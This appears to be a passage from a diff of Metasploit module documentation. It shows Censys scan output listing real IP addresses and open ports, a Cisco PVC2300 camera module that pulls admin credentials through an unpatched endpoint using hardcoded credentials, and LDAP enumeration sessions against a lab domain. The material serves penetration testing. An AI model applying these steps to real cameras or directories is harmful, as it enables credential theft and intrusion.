[*] 31.214.157.19 - 443/https,22/ssh
|
||||
[*] 52.88.1.225 - 443/https,22/ssh
|
||||
[*] 208.118.227.12 - 25/smtp
|
||||
[*] 38.107.201.41 - 443/https
|
||||
[*] 52.44.56.126 - 80/http,443/https
|
||||
[*] 52.54.227.6 - 443/https,80/http
|
||||
[*] 23.217.253.242 - 443/https,80/http
|
||||
[*] 96.6.3.45 - 80/http,443/https
|
||||
[*] 23.6.73.47 - 443/https,80/http
|
||||
[*] 23.78.99.243 - 80/http,443/https
|
||||
[*] 23.53.51.170 - 80/http,443/https
|
||||
[*] 23.62.201.47 - 443/https,80/http
|
||||
[*] 2.23.50.157 - 443/https,80/http
|
||||
[*] 118.215.191.13 - 80/http,443/https
|
||||
[*] 2.19.185.28 - 80/http,443/https
|
||||
[*] 2.18.195.99 - 443/https,80/http
|
||||
[*] 23.197.196.25 - 443/https,80/http
|
||||
[*] 95.100.104.181 - 443/https,80/http
|
||||
[*] 2.20.37.130 - 80/http,443/https
|
||||
[*] 23.194.237.34 - 443/https,80/http
|
||||
[*] 2.17.140.86 - 443/https,80/http
|
||||
[*] 64.125.235.5 - 25/smtp
|
||||
[*] 208.118.227.32 - 80/http
|
||||
[*] 2.21.129.149 - 80/http,443/https
|
||||
[*] 2.20.167.33 - 80/http,443/https
|
||||
[*] 95.100.139.218 - 80/http,443/https
|
||||
[*] 23.38.88.202 - 443/https,80/http
|
||||
[*] 2.17.184.80 - 443/https,80/http
|
||||
[*] 23.59.119.23 - 80/http,443/https
|
||||
[*] 2.16.14.225 - 443/https,80/http
|
||||
[*] 104.113.122.33 - 443/https,80/http
|
||||
[*] 23.223.44.164 - 80/http,443/https
|
||||
[*] 88.221.120.214 - 443/https,80/http
|
||||
[*] 23.47.36.145 - 443/https,80/http
|
||||
[*] 2.23.21.254 - 80/http,443/https
|
||||
[*] 208.118.237.39 - 443/https
|
||||
[*] 208.118.237.40 - 443/https
|
||||
[*] 208.118.237.41 - 443/https
|
||||
[*] 23.54.217.47 - 80/http,443/https
|
||||
[*] 96.17.254.188 - 443/https,80/http
|
||||
[*] 184.25.129.65 - 443/https,80/http
|
||||
[*] 104.121.167.123 - 443/https,80/http
|
||||
[*] 104.94.110.63 - 443/https,80/http
|
||||
[*] 104.91.11.216 - 80/http,443/https
|
||||
[*] 23.38.233.47 - 80/http,443/https
|
||||
[*] 52.86.110.89 - 80/http,443/https
|
||||
[*] 69.192.73.47 - 443/https,80/http
|
||||
[*] 184.86.57.47 - 443/https,80/http
|
||||
[*] 104.86.45.180 - 443/https,80/http
|
||||
[*] 184.87.72.153 - 80/http,443/https
|
||||
[*] 23.66.25.47 - 80/http,443/https
|
||||
[*] 23.56.162.76 - 80/http,443/https
|
||||
[*] 184.87.133.242 - 443/https,80/http
|
||||
[*] 23.55.74.28 - 80/http,443/https
|
||||
[*] 23.6.225.84 - 80/http,443/https
|
||||
[*] 23.46.133.153 - 443/https,80/http
|
||||
[*] 23.10.121.47 - 443/https,80/http
|
||||
[*] 104.109.35.169 - 80/http,443/https
|
||||
[*] 172.227.101.182 - 80/http,443/https
|
||||
[*] 184.27.23.104 - 80/http,443/https
|
||||
[*] 23.49.185.47 - 80/http,443/https
|
||||
[*] 23.67.172.177 - 80/http,443/https
|
||||
[*] 23.62.170.161 - 443/https,80/http
|
||||
[*] 23.219.71.35 - 443/https,80/http
|
||||
[*] 104.82.94.233 - 443/https,80/http
|
||||
[*] 184.26.73.47 - 80/http,443/https
|
||||
[*] 104.68.108.237 - 80/http,443/https
|
||||
[*] 23.60.39.77 - 80/http,443/https
|
||||
[*] 23.66.100.92 - 80/http,443/https
|
||||
[*] 23.61.28.182 - 443/https,80/http
|
||||
[*] 23.42.116.233 - 80/http,443/https
|
||||
[*] 104.105.14.197 - 80/http,443/https
|
||||
[*] 104.103.203.240 - 80/http,443/https
|
||||
[*] 104.65.57.235 - 80/http,443/https
|
||||
[*] 23.41.83.224 - 80/http,443/https
|
||||
[*] 184.51.185.47 - 80/http,443/https
|
||||
[*] 23.67.231.142 - 80/http,443/https
|
||||
[*] 208.118.237.38 - 443/https
|
||||
[*] 104.76.25.28 - 80/http,443/https
|
||||
[*] 23.196.125.176 - 443/https,80/http
|
||||
[*] 23.40.154.224 - 80/http,443/https
|
||||
[*] 23.77.33.204 - 443/https,80/http
|
||||
[*] 104.88.21.48 - 80/http,443/https
|
||||
[*] 173.223.134.47 - 80/http,443/https
|
||||
[*] 23.4.98.72 - 80/http,443/https
|
||||
[*] 23.44.97.3 - 80/http,443/https
|
||||
[*] 23.203.66.142 - 443/https,80/http
|
||||
[*] 23.42.216.251 - 443/https,80/http
|
||||
[*] 23.42.85.25 - 80/http,443/https
|
||||
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
|
||||
[*] 104.83.219.182 - 443/https,80/http
|
||||
[*] 184.86.41.47 - 443/https,80/http
|
||||
[*] 104.97.72.196 - 443/https,80/http
|
||||
[*] 69.192.169.48 - 443/https,80/http
|
||||
```
|
||||
|
||||
### Websites Search
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
|
||||
CENSYS_SEARCHTYPE => websites
|
||||
msf auxiliary(censys_search) > run
|
||||
|
||||
[+] rapid7.com - [37743]
|
||||
[+] logentries.com - [45346]
|
||||
[+] venturefizz.com - [106102]
|
||||
[+] gild.com - [116853]
|
||||
[+] sectools.org - [122125]
|
||||
[+] ericzhang.me - [155622]
|
||||
[+] metasploit.com - [156435]
|
||||
[+] datapipe.com - [209756]
|
||||
[+] routerpwn.com - [317896]
|
||||
[+] proxy-base.com - [507954]
|
||||
[+] config.fr - [542346]
|
||||
[+] winterwyman.com - [629471]
|
||||
[+] gogrid.com - [741009]
|
||||
[+] wesecure.nl - [997423]
|
||||
[*] Auxiliary module execution completed
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
2.19.184.189 80 tcp http open
|
||||
2.19.184.189 443 tcp http open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
|
||||
uthority - L1K)
|
||||
2.19.184.189 21 tcp ftp open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A
|
||||
uthority - L1K)
|
||||
2.19.184.189 22 tcp ssh open
|
||||
2.19.184.214 21 tcp ftp open
|
||||
2.19.184.216 21 tcp ftp open
|
||||
2.23.14.108 21 tcp ftp open
|
||||
2.23.14.163 21 tcp ftp open
|
||||
2.23.14.163 44174 tcp unknown open
|
||||
2.23.14.163 449 tcp unknown open
|
||||
2.23.14.163 515 tcp unknown open
|
||||
2.23.14.163 4101 tcp unknown open
|
||||
2.23.14.163 4222 tcp unknown open
|
||||
2.23.14.163 44104 tcp unknown open
|
||||
2.23.14.163 44100 tcp unknown open
|
||||
2.23.14.163 44117 tcp unknown open
|
||||
2.23.14.163 44133 tcp unknown open
|
||||
2.23.14.163 44156 tcp unknown open
|
||||
2.23.14.163 44161 tcp unknown open
|
||||
2.23.14.163 44162 tcp unknown open
|
||||
2.23.14.163 44170 tcp unknown open
|
||||
2.23.14.195 45108 tcp unknown open
|
||||
2.23.14.195 45111 tcp unknown open
|
||||
2.23.14.195 45164 tcp unknown open
|
||||
2.23.14.195 45150 tcp unknown open
|
||||
2.23.14.195 45149 tcp unknown open
|
||||
2.23.14.195 21 tcp ftp open
|
||||
2.23.14.195 45117 tcp unknown open
|
||||
2.23.14.195 45110 tcp unknown open
|
||||
2.23.14.199 21 tcp ftp open
|
||||
2.23.14.201 47113 tcp unknown open
|
||||
2.23.14.201 21 tcp ftp open
|
||||
2.23.14.201 47106 tcp unknown open
|
||||
2.23.14.201 47150 tcp unknown open
|
||||
2.23.14.209 49100 tcp unknown open
|
||||
2.23.14.209 21 tcp ftp open
|
||||
2.23.14.209 49143 tcp unknown open
|
||||
2.23.14.209 49121 tcp unknown open
|
||||
2.23.14.209 49152 tcp unknown open
|
||||
2.23.14.212 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
2.23.14.218 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
2.23.14.235 21 tcp ftp open
|
||||
2.23.14.243 21 tcp ftp open
|
||||
```
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file
|
||||
containing the admin credentials for the web interface.
|
||||
|
||||
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID
|
||||
via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the `login` action and the hardcoded credentials `L1_admin:L1_51`.
|
||||
|
||||
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the `downloadConfigurationFile`
|
||||
action in an attempt to download the configuration file.
|
||||
|
||||
The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it,
|
||||
the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet.
|
||||
Then the configuration file is decoded using regular base64 and subsequently stored in the `loot` folder.
|
||||
|
||||
Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.
|
||||
|
||||
No known solution was made available for this vulnerability and no CVE has been published.
|
||||
It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
|
||||
|
||||
This module was successfully tested against several Cisco PVC2300 cameras.
|
||||
|
||||
## Options
|
||||
No non-default options are configured.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/cisco_pvc2300_download_config`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
### Cisco PVC2300
|
||||
```
|
||||
Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.31.31.233 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
|
||||
[*] Running module against 172.31.31.233
|
||||
|
||||
[*] The target may be vulnerable. Obtained sessionID 1122062985
|
||||
[+] Successfully downloaded the configuration file
|
||||
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
|
||||
[*] Obtained device name PVC2300 POE Video Camera
|
||||
[+] Obtained the following admin credentials for the web interface from the configuration file:
|
||||
[*] admin username: admin
|
||||
[*] admin password: [obfuscated]
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,598 @@
|
||||
## Vulnerable Application
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
|
||||
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
|
||||
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting `ACTION` to the
|
||||
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
|
||||
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
|
||||
|
||||
Note that you can override the default query settings in this way by defining a query with an
|
||||
action name that is the same as one of existing actions in the file at
|
||||
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
|
||||
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
|
||||
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
|
||||
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/ldap_query`
|
||||
2. Do: `set ACTION <target action>`
|
||||
3. Do: `set RHOSTS <target IP(s)>`
|
||||
4. Optional: `set RPORT <target port>` if target port is non-default.
|
||||
5: Optional: `set SSL true` if the target port is SSL enabled.
|
||||
6: Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### OUTPUT_FORMAT
|
||||
The output format to use. Can be either `csv`, `table` or `json` for
|
||||
CSV, Rex table output, or JSON output respectively.
|
||||
|
||||
### BASE_DN
|
||||
The LDAP base DN if already obtained. If not supplied, the module will
|
||||
automatically attempt to find the base DN for the target LDAP server.
|
||||
|
||||
### QUERY_FILE_PATH
|
||||
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
|
||||
must be set to the full path to the JSON or YAML file containing the queries to
|
||||
be run.
|
||||
|
||||
The file format must follow the following convention:
|
||||
|
||||
```
|
||||
queries:
|
||||
- action: THE ACTION NAME
|
||||
description: "THE ACTION DESCRIPTION"
|
||||
filter: "THE LDAP FILTER"
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
```
|
||||
|
||||
Where `queries` is an array of queries to be run, each containing an `action` field
|
||||
containing the name of the action to be run, a `description` field describing the
|
||||
action, a `filter` field containing the filter to send to the LDAP server
|
||||
(aka what to search on), and the list of attributes that we are interested in from
|
||||
the results as an array.
|
||||
|
||||
### QUERY_FILTER
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
|
||||
aka query that you want to send to the target LDAP server.
|
||||
|
||||
### QUERY_ATTRIBUTES
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
|
||||
of attributes to display from the full result set for each entry that was returned by the
|
||||
target LDAP server. Used to filter the results down to manageable sets of data.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### RUN_SINGLE_QUERY with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
|
||||
ACTION => RUN_SINGLE_QUERY
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
|
||||
QUERY_ATTRIBUTES => dn,displayName,name
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
|
||||
QUERY_FILTER => (objectClass=*)
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Sending single query (objectClass=*) to the LDAP server...
|
||||
[*] DC=daforest DC=com
|
||||
==================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name daforest
|
||||
|
||||
[*] CN=Users DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Users
|
||||
|
||||
[*] CN=Computers DC=daforest DC=com
|
||||
===============================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Computers
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
|
||||
===================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WAPPS1000022
|
||||
name WAPPS1000022
|
||||
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WLPT1000014
|
||||
name WLPT1000014
|
||||
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WWKS1000016
|
||||
name WWKS1000016
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WVIR1000013
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### RUN_QUERY_FILE with Table Output
|
||||
|
||||
Here is the sample query file we will be using:
|
||||
|
||||
```
|
||||
$ cat test.yaml
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_USERS
|
||||
description: "Enumerate users"
|
||||
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGUNITS
|
||||
description: "Enumerate organizational units"
|
||||
filter: "(objectClass=organizationalUnit)"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_GROUPS
|
||||
description: "Enumerate groups"
|
||||
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
|
||||
columns:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
```
|
||||
|
||||
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
|
||||
run all queries within the file one after another.
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
|
||||
ACTION => RUN_QUERY_FILE
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
|
||||
[*] Running ENUM_USERS...
|
||||
[*] CN=Administrator CN=Users DC=daforest DC=com
|
||||
============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for administering the computer/domain
|
||||
name Administrator
|
||||
|
||||
[*] CN=Guest CN=Users DC=daforest DC=com
|
||||
====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for guest access to the computer/domain
|
||||
name Guest
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_ORGUNITS...
|
||||
[*] OU=Domain Controllers DC=daforest DC=com
|
||||
========================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Default container for domain controllers
|
||||
name Domain Controllers
|
||||
|
||||
[*] OU=Admin DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Admin
|
||||
|
||||
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
|
||||
=====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Tier 0
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_GROUPS...
|
||||
[*] CN=Administrators CN=Builtin DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Administrators
|
||||
|
||||
[*] CN=Users CN=Builtin DC=daforest DC=com
|
||||
======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Users
|
||||
|
||||
[*] CN=Guests CN=Builtin DC=daforest DC=com
|
||||
=======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Guests
|
||||
|
||||
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
|
||||
================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Print Operators
|
||||
|
||||
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Backup Operators
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
|
||||
=====================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483646
|
||||
name EL-chu-distlist1
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
|
||||
etasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION
|
||||
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
|
||||
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
|
||||
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
|
||||
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
===========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
|
||||
dnshostname WIN-F7DQC9SR0HD.daforest.com
|
||||
name WIN-F7DQC9SR0HD
|
||||
operatingsystemversion 10.0 (20348)
|
||||
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname FSRWLPT1000000
|
||||
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
|
||||
name FSRWLPT1000000
|
||||
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
=====================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname TSTWVIR1000000
|
||||
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
|
||||
name TSTWVIR1000000
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname WVIR1000013
|
||||
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with CSV Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
|
||||
OUTPUT_FORMAT => csv
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
